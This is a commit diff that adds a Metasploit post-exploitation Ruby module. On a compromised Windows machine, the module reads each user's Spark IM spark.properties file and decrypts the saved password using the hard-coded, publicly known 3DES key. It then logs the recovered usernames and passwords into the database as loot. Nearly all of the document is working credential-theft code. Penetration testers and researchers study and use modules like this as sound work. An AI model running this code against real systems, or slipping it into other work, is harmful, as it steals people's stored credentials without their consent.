added spark_im post exploit module

modules/post/windows/gather/credentials/spark_im.rb

@@ -0,0 +1,113 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+require 'rex'
+require 'msf/core/post/common'
+require 'msf/core/post/windows/user_profiles'
+require 'openssl'
+
+class Metasploit3 < Msf::Post
+
+	include Msf::Post::Common
+	include Msf::Post::Windows::UserProfiles
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => 'Enumerate Spark IM Passwords',
+			'Description'    => %q{ This module will enumerate passwords stored by the Spark IM client.
+				The encryption key is publicly known. This module will not only extract encrypted password
+				but will also decrypt password using public key.
+				},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Brandon McCann "zeknox" <bmccann [at] accuvant.com>',
+					'Thomas McCarthy "smilingraccoon" <smilingraccoon [at] gmail.com>'
+				],
+			'SessionTypes'   => [ 'meterpreter' ],
+			'References'     =>
+				[
+					[ 'URL', 'http://adamcaudill.com/2012/07/27/decrypting-spark-saved-passwords/']
+				]
+		))
+	end
+
+	# decrypt spark password
+	def decrypt(hash)
+		# code to decrypt hash with KEY
+		print_status("Starting to decrypt password hash")
+
+		encrypted = hash.unpack("m")[0]
+		key = "ugfpV1dMC5jyJtqwVAfTpHkxqJ0+E0ae".unpack("m")[0]
+
+		cipher = OpenSSL::Cipher::Cipher.new 'des-ede3'
+		cipher.decrypt
+		cipher.key = key
+
+		password = cipher.update encrypted
+		password << cipher.final
+
+		password = password.encode('UTF-8')
+
+		credentials = password.split("\u0001")
+		print_good("Decrypted Username #{credentials[0]} Password: #{credentials[1]}")
+
+		store_creds(credentials)
+	end
+
+	def store_creds(credentials)
+		if db
+			report_auth_info(
+				:host   => client.sock.peerhost,
+				:port   => 445,
+				:ptype  => 'password',
+				:sname  => 'smb',
+				:user   => credentials[0],
+				:pass   => credentials[1],
+				:duplicate_ok => true,
+				:active => true
+			)
+			print_status("Loot stored in the db")
+		end
+	end
+
+	# main control method
+	def run
+		grab_user_profiles().each do |user|
+			unless user['AppData'].nil?
+				accounts = user['AppData'] + "\\Spark\\spark.properties"
+
+				# open the file for reading
+				config = client.fs.file.new(accounts, 'r') rescue nil
+				next if config.nil?
+				print_status("Config found for user #{user['UserName']}")
+
+				# read the contents of file
+				contents = config.read
+
+				# look for lines containing string 'password'
+				password = contents.split("\n").grep(/password/)
+				if password.nil?
+					# file doesn't contain a password
+					print_status("#{file} does not contain any saved passwords")
+					# close file and return
+					config.close
+					return
+				end
+
+				# store the hash close the file
+				hash = password[1].split("password").join.chomp
+				print_status("Spark password hash: #{hash}") if datastore['VERBOSE']
+				config.close
+
+				# call to decrypt the hash
+				decrypt(hash)
+			end
+		end
+	end
+end